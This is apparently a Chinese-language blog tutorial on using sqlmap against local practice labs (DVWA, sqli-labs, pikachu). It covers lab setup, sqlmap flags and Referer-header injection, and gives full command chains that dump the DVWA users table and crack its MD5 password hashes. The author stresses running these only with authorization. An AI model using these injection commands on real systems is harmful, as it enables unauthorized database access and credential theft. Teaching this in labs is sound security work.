1. 为什么把sqlmap当作注入测试的“第一把刀”
干渗透测试这一行,数据库注入是我个人认为“投入产出比”最高的一个测试方向。只要目标系统存在一个可利用的注入点,攻击者理论上可以拿到数据库的全部数据,严重的情况下还能通过数据库权限进一步打到操作系统层面。说得直白点,注入测试不只是“拿到几个数据表”的问题,它往往决定了整个内网测试能走多远。
而sqlmap,就是注入测试里绕不过去的一个工具。它是一款开源的自动化注入检测与利用工具,支持布尔盲注、时间盲注、报错注入、联合查询注入、堆叠注入等几乎全部主流注入方式,还能自动识别数据库类型。对于一个刚接触渗透测试的初学者来说,sqlmap帮你省掉的不是“写Payload”的时间,而是“构造Payload的思路验证”和“数据提取逻辑”这两块最琐碎的工作。
不过我也见过不少新人把sqlmap当成“一键拿数据”的黑盒工具,拿到一个URL就敲一条命令等着出结果,出了结果也不知道原理,没出结果也不知道怎么调。这其实很危险——工具越是自动化,你越得知道它在做什么、为什么这么做。这篇博文我会用DVWA、sqli-labs、pikachu这几个常见的本地靶场,带你从环境搭建、sqlmap安装开始,一路跑到完整的数据提取流程,再把我在实战中踩过的一些坑一并列出来。
所有操作都基于你在本地自己搭的靶场环境。没有授权,别对任何第三方系统跑sqlmap,这一点我后面还会反复强调。学工具是为了在规则内做测试,不是为了给自己找麻烦。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备:本地靶场怎么搭才顺手
2.1 DVWA靶场搭建:Docker最快,PHPStudy次之
DVWA(Damn Vulnerable Web Application)是最经典的 Web 漏洞靶场,自带 SQL Injection、XSS、文件上传等常见漏洞模块,而且每个模块都有 low、medium、high 三档安全级别,用来练习注入测试非常合适。
如果你机器上已经装了 Docker,搭建 DVWA 是我试过的最快路径,不用手动配 PHP 版本和扩展,几分钟就能跑起来。
bash复制docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa
启动后浏览器访问 http://127.0.0.1:8080,默认账号 admin,密码 password。登录后需要点一下页面的 Create / Reset Database 按钮,初始化数据库,然后重新登录一次,就能进入靶场了。
如果你更习惯在自己已有的 Web 环境里跑,也可以用 PHPStudy 或 XAMPP 搭建 DVWA。这种方式适合想同时调试 PHP 代码、观察数据库交互的人。具体步骤很简单:下载 DVWA 源码放到 Web 根目录,用 phpMyAdmin 建一个 dvwa 数据库,复制 config/config.inc.php.dist 为 config.inc.php,填好数据库账号密码,访问首页初始化即可。
提示:DVWA 默认安全等级是 impossible,那个级别下注入测试基本体验不到多少乐趣。建议登录后进
DVWA Security页,把安全等级切到low,对初学者最友好。练习盲注或命令注入时再按需切到medium、high。
2.2 sqli-labs和pikachu这两个靶场怎么选
DVWA 适合系统性地练习,但它每个漏洞点就是一个页面,练完就没了。sqli-labs 和 pikachu 则是专门为注入、XSS 等 Web 漏洞设计的“题库式”靶场,各有各的优势。
sqli-labs 总共 65 个关卡,从最简单的数字型注入到报错注入、盲注、堆叠注入、二次注入、宽字节注入,每个关卡都对应一个特定的注入场景。它的好处是题目密度高,一关一关打下来,你会很自然地建立起“当前这条 Payload 适用于哪种注入类型”的判断力。很多人在学习时都会配合 sqlmap 去过关,实际效果比零散地看教程好得多。
pikachu 是另一个国内团队做的靶场,界面做得更友好,除了 SQL 注入,还覆盖了 RCE、文件包含、CSRF、XSS 等常见漏洞类型。它的注入模块里专门有“基于布尔的盲注”“基于时间的盲注”“宽字节注入”等细分场景,练手或者做演示都很不错。
我的建议是:想系统打注入基础,优先把 sqli-labs 过一遍;想扩展漏洞类型覆盖面,再去打 pikachu。两个靶场都不大,装在同一套 PHP 环境里也不冲突。
2.3 搭建后必须做的自检
靶场跑起来之后,先别急着上 sqlmap,我建议先做一轮快速自检,避免后面把时间浪费在环境问题上。
首先,确认靶场能正常访问,并确认你能拿到登录后的 Cookie 或会话信息。这一点特别关键,因为像 DVWA 这种需要登录的靶场,不带上 Cookie 去跑 sqlmap,检测就会直接失败。其次,确认页面存在一个你能理解的普通请求参数,比如 id=1,并且修改参数后页面内容发生了变化。如果改了参数页面一点反应都没有,那你连注入点都没找准,更别谈用 sqlmap 测了。
最后,确认 sqlmap 本身能运行。你可以先拿本机一个不存在的 URL 简单跑一次,看命令能正常启动、能输出版本号、不会因为缺依赖而报错。这个检查只需要一分钟,但能省掉后面排查“为什么命令行都敲不进去”的尴尬。
3. sqlmap的安装和基础参数精讲
3.1 三种安装方式,推荐kali自带
sqlmap 的安装方式主要有三种:Kali Linux 自带、pip 安装、源码安装。
如果你在用 Kali,系统里已经预装了 sqlmap,直接命令行敲 sqlmap -h 验证一下就能用。这是最省事的方式,而且 Kali 的版本更新也算及时。如果你用的是自己的电脑,或者公司的日常办公系统,通常用 pip 安装:
bash复制pip install sqlmap
或者拉源码运行,这种方式的好处是更新非常方便,而且你随时能看源码,理解工具内部的工作逻辑:
bash复制git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py -h
我个人更推荐用源码方式,尤其是对工具原理感兴趣、想深入看检测逻辑的人。sqlmap 本质上就是一个 Python 脚本集,脚本跑之前你知道它干了什么,跑的时候心里才有底。当然,日常测试我用 Kali 自带的版本更多,因为环境里其他配套工具都齐全,出问题和网上教程对得上。
3.2 命令从短到长:从一个URL到一个完整读取数据
很多新人第一次用 sqlmap,是从一条很简短的命令开始的:
bash复制sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --batch
-u 指定目标 URL,--batch 表示所有交互问题都用默认答案,不用手动一个个回车。这条命令的作用是检测 id 参数是否存在注入,以及注入类型是什么。
检测通过之后,你会看到一堆输出,里面有 Parameter: id (GET) 和 Type: boolean-based blind 之类的说明。这个时候说明注入点确认了,接下来就是逐步提取数据。我整理了一条从库名到数据的标准命令链路:
bash复制# 1. 列出所有数据库
sqlmap -u "目标URL" --dbs
# 2. 指定数据库,列出所有表
sqlmap -u "目标URL" -D dvwa --tables
# 3. 指定表,列出所有字段
sqlmap -u "目标URL" -D dvwa -T users --columns
# 4. 导出指定字段的数据
sqlmap -u "目标URL" -D dvwa -T users -C user,password --dump
每一步都比上一步更“深一层”,从库到表再到字段再到数据,SQL 注入的本质就是逐步缩小范围,直到把数据拿到手。这条链路建议你背熟,因为它是所有注入测试的通用骨架,不管目标是 MySQL、Oracle 还是 SQL Server,逻辑都一样。
3.3 请求相关的参数:cookie、data、headers和level/risk
实际项目中,URL 不可能只有一个参数那么简单。你会碰到需要登录的页面、POST 表单提交、需要特定请求头的接口,这些情况都要对应不同的 sqlmap 参数。
如果你测试的注入点必须登录才能访问,就把登录后的 Cookie 带上:
bash复制sqlmap -u "目标URL" --cookie="PHPSESSID=abc123; security=low"
如果注入点在 POST 请求的表单数据里,用 --data 指定:
bash复制sqlmap -u "目标URL" --data="uname=admin&passwd=admin"
这里的逻辑是:sqlmap 会把你给的数据拆成参数,逐个测试哪个参数存在注入。还有一个容易忽略的点,就是 --level 和 --risk 这两个参数。--level 控制测试的深度和广度,默认是 1;调高到 3 之后,sqlmap 会开始测试 Referer、User-Agent、Cookie 等 HTTP 头里的注入点。--risk 控制测试的“激进程度”,默认是 1,它决定是否使用更危险的 Payload,增高后可能产生数据篡改或锁定等风险。
实战里,当你知道注入点在请求头里但不确定具体哪个头时,可以用 --level=3 --risk=2 来扩大测试范围。但要注意,参数调高会让扫描时间成倍增加,不是所有场景都需要。
4. 实战:DVWA低温环境完整跑通注入
4.1 第一步:观察请求,确定注入点
进入 DVWA 的 SQL Injection 模块后,你会看到类似 User ID: [输入框] [Submit] 的表单。输入 1 点击提交,页面会显示用户 ID 为 1 的 first_name 和 last_name。这个时候,浏览器地址栏里的 URL 大概长这样(GET 方式提交):
code复制http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
我们需要确认这个地方真的存在注入,而不是把 URL 直接丢给 sqlmap 盲目跑。先在输入框或 URL 参数里分别试一下:
code复制id=1' and '1'='1
id=1' and '1'='2
第一次正常返回,第二次返回空,基本可以确定这是字符型注入。原理很简单:'1'='1 这个条件恒真,所以 SQL 语句正常返回;'1'='2 恒假,查询结果就被拦截了。这个时候再上 sqlmap,你心里就有底了。
4.2 第二步:先探测再列库,不要一把梭
很多教程会直接在一条命令里带上 --dbs,这也没什么不对,但我建议你先做一次基础探测,确认多条参数组合都能被识别,再去做数据提取。基础探测命令如下:
bash复制sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=low" --batch
--cookie 里的 your_session_id 需要换成你自己登录后浏览器里的真实值,这个值在浏览器的开发者工具里能直接看到。security=low 是因为我们在 DVWA 里已经将安全等级调到了 low。
输出里如果看到类似下面的内容,说明探测成功:
code复制Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
这时再接着列库:
bash复制sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=low" --batch --dbs
会得到 DVWA 里当前数据库账号能访问到的所有数据库名,很可能包含 dvwa 和 information_schema。information_schema 是 MySQL 的系统库,你只需要关注业务库 dvwa。
4.3 第三步:拿到users表全部数据的完整命令
库名拿到之后,继续往下走,目标是 dvwa 库里的 users 表,这张表存了用户的账号和密码哈希。完整命令如下:
bash复制sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=low" --batch -D dvwa --tables
你会看到一堆表名,其中 users 表就是我们要的。接着看这张表有哪些字段:
bash复制sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=low" --batch -D dvwa -T users --columns
然后指定要导出的字段,把 user 和 password 两列的数据取回来:
bash复制sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=low" --batch -D dvwa -T users -C user,password --dump
--dump 会先把表结构、数据量这些信息都查一遍,然后逐条提取内容,最终生成一个本地文件保存结果。DVWA 默认的密码字段是 MD5 哈希,拿到的不是明文。这时候不要误以为“注入失败了”,哈希需要再用工具爆破,这是另一道工序。
注意:DVWA 里还有个 trick,它的密码哈希是类似
5f4dcc3b5aa765d61d8327deb882cf99的 32 位字符串,一眼就能看出来是 MD5。你可以用在线站点或者 hashcat 爆破出明文password。这个步骤恰好在提醒我们:拿到数据只是开始,后续的数据清洗和分析同样重要。
5. 进阶:sqli-labs第19关的Referer注入实战
5.1 第19关的注入点在哪里
sqli-labs 第 19 关在标题里写的是“基于错误的 Referer 头 POST 注入”。这关给你的登录表单提交之后,页面底部会把当前请求的 Referer 头内容原样拼到 SQL 查询里。也就是说,注入点不在 uname 和 passwd 这两个 POST 参数里,而是藏在请求头里。
我们先用浏览器或 Burp Suite 打开登录页面,随便提交一组账号密码,抓到请求后能看到类似这样的内容:
code复制POST /sqli-labs/Less-19/index.php HTTP/1.1
Host: 127.0.0.1
Referer: http://127.0.0.1/sqli-labs/Less-19/index.php
Content-Type: application/x-www-form-urlencoded
uname=admin&passwd=admin
在 Referer 后面加一个单引号,如果页面出现数据库报错,说明这里存在注入。这关比较典型的是,不看数据包、不分析服务端逻辑,光靠肉眼很难发现注入点。
5.2 sqlmap如何测试Referer头
sqlmap 默认情况下不会去测 Referer 头。要让 sqlmap 主动把 Referer 头也当作注入点,需要把请求相关参数补全,并按需提高 level。参考命令:
bash复制sqlmap -u "http://127.0.0.1/sqli-labs/Less-19/index.php" --data="uname=admin&passwd=admin" --headers="Referer: http://127.0.0.1/sqli-labs/Less-19/index.php" --level=3 --batch
这里 --data 用来模拟正常登录提交,--headers 手动给出一个基准的 Referer 值,--level=3 则让 sqlmap 开始测试 HTTP 头中的潜在注入点。跑完如果显示 Parameter: Referer (HTTP Referer header),就说明识别成功了,后续的 --dbs、-D、-T、--dump 流程和 DVWA 完全一样。
5.3 为什么教程里强调“--level=3”
这是一个非常容易踩坑的点。sqlmap 的 --level 参数默认是 1,在默认 level 下,Referer、User-Agent 这样的请求头参数统统不会被测试。很多新人拿着一个确实存在 Referer 注入的靶场,跑了半天却提示“unable to inject”,问题往往就出在 level 没调够。
--level=3 是触发 HTTP 头测试的最低阈值。同理,如果你怀疑注入点在 Cookie 头里,也需要把 level 调到 2 或 3。记住一条经验:遇到“测不出来”的情况,先检查请求是否完整、level 是否够高、risk 是否够用,这三项比换 Payload 更快解决问题。
提示:
--level和--risk不是越高越好。level 太高会测很多没必要的参数和 Payload,扫描时间成倍增长;risk 太高可能触发目标上一些危险操作(比如 UPDATE/Delete 类 Payload)。在靶场里随便试没问题,在授权测试项目中要评估风险后再决定。
6. 实战排雷:这些问题我全踩过
6.1 连不上数据库,先查这三点
最典型的报错是 connection timed out 或 unable to connect to the target URL。别急着怀疑 sqlmap,先从三个方面排查。
第一,目标 URL 是否真的能访问。你可以在浏览器里打开看一遍,确认没写错端口、没漏路径。第二,靶场是否需要登录。如果目标页面跳回登录页,sqlmap 的检测请求实际上打到了登录页而不是注入页面,结果自然不对。这时给请求加上登录后的 Cookie。第三,是不是有防火墙或代理拦截了请求。本地搭建的靶场一般没有这问题,但如果你在测试远程目标,就要仔细考虑网络可达性的问题。
6.2 注入点明明存在,sqlmap却说未检测到
这种情况我在靶场和实际项目中都遇到过。之前说过要确认参数完整、请求头和 Cookie 是否正确,这里再补充一个容易被忽略的点:错误地使用了 --batch 有时候会让 sqlmap 在关键选择上采用不合适的默认值。
比如,当 sqlmap 询问是否要对目标 URL 进行其他参数测试时,默认可能会选择“否”,这样即使存在注入点,如果它刚好在被跳过的参数里,就会错过。我的建议是,第一次跑的时候不要盲目加 --batch,让 sqlmap 把问题打印出来,你看一眼再回车。跑熟了之后,再用 --batch 提高效率。
还有一个原因是注入点需要特定条件才触发,比如只在特定 Referer 值下生效,或者需要 level≥3 才测试对应位置。这时候就需要回到第 5 章那种思路,把请求相关的头都带上,适当调高 level。
6.3 导出的数据中文乱码怎么办
sqlmap 默认按 UTF-8 提取数据,但很多老系统或 Windows 环境的数据库实际存储的是 GBK、GB2312 编码。DVWA 本身是英文的,一般不会遇到,但 pikachu 或某些国内靶场中文字段就可能乱码。
解决办法是给 sqlmap 加一个字符集参数:
bash复制sqlmap -u "目标URL" --charset=GBK
如果你不确定目标数据库用什么编码,可以先用一条简单的查询看看输出是否正常,再决定要不要指定 --charset。
6.4 联查慢得像蜗牛,如何提速
时间盲注和布尔盲注天然就慢,因为每条数据都要靠大量请求判断出来。如果靶场本身响应很快,但 sqlmap 仍然慢,可以从几个方向优化。
用 --threads 提高并发,比如 --threads=5,但要控制在合理范围,并发太高容易把本地 Web 服务器打挂,远程目标则可能触发防护。减少无效探测,用 --technique 限定只测某几种注入技术,比如你确定是时间盲注,就只测时间盲注,不用再跑布尔和联合查询。合理设置 --time-sec 也能缩短时间盲注的等待周期,默认是 5 秒,在一些本地靶场里可以适当调低。
另外,sqlmap 会在本地缓存历史结果。同一个目标 URL 重复跑的时候,它会跳过已经确认过的部分,重新跑一次之前会提示 resuming。这不是卡住,是它在读缓存。
6.5 其他高频报错和应对
有一个高频报错是 Invalid challenge 或者类似“captcha”相关的提示,多见于带验证码或 IP 频率限制的靶场环境。sqlmap 本身不支持验证码识别,这类限制只能手动绕过或配合其他工具,比如先用 Burp 手动过验证码拿到有效会话,再喂给 sqlmap。
还有一种是 too many requests 或 HTTP 429,这通常是靶场主动做了访问频率限制。解决办法是加延时:
bash复制sqlmap -u "目标URL" --delay=1
--delay 表示每个请求之间间隔 1 秒,跑得慢一些,但能有效降低被限制的概率。本地靶场一般不限制,但模拟真实环境时这个参数很实用。
7. 结尾:拿靶场练扎实了才算真会
文章写到这里,估计有朋友已经在去下载 DVWA 的路上了。我再多说几句实操里的真心话。
sqlmap 这个工具,你用熟了之后会觉得很“爽”,一条命令下来,表、字段、数据全部自动提取。但正因为这种自动化,初学者很容易陷入“只会敲命令、不懂原理”的怪圈。我在带人学习时,一直强调一条原则:先用 Burp Suite 或浏览器开发者工具手工构造一遍 Payload,看明白报错逻辑,再让 sqlmap 替你做重复劳动。手工理解原理,工具提高效率,两者缺一不可。
另外,一定要养成“用完即查”的习惯。sqlmap 的每一个输出字段,不懂就查手册,不要看到一堆英文输出就跳过,那些输出里包含了注入类型、数据库版本、当前用户权限、是否 DBA 等关键信息,是你判断下一步动作的依据。
最后再分享一个我自己的小习惯:每次跑完一个靶场,我一定会把完整的命令、输出、提取到的数据整理成一篇笔记,标注上“为什么这个命令要这么写”“这个靶场卡在哪个环节”。等到真正做授权测试项目时,这些笔记就是最宝贵的参考手册。工具会更新,靶场会变化,但思路和方法是通用的。练好靶场,打好基础,后面进入真实场景时才不会手忙脚乱。
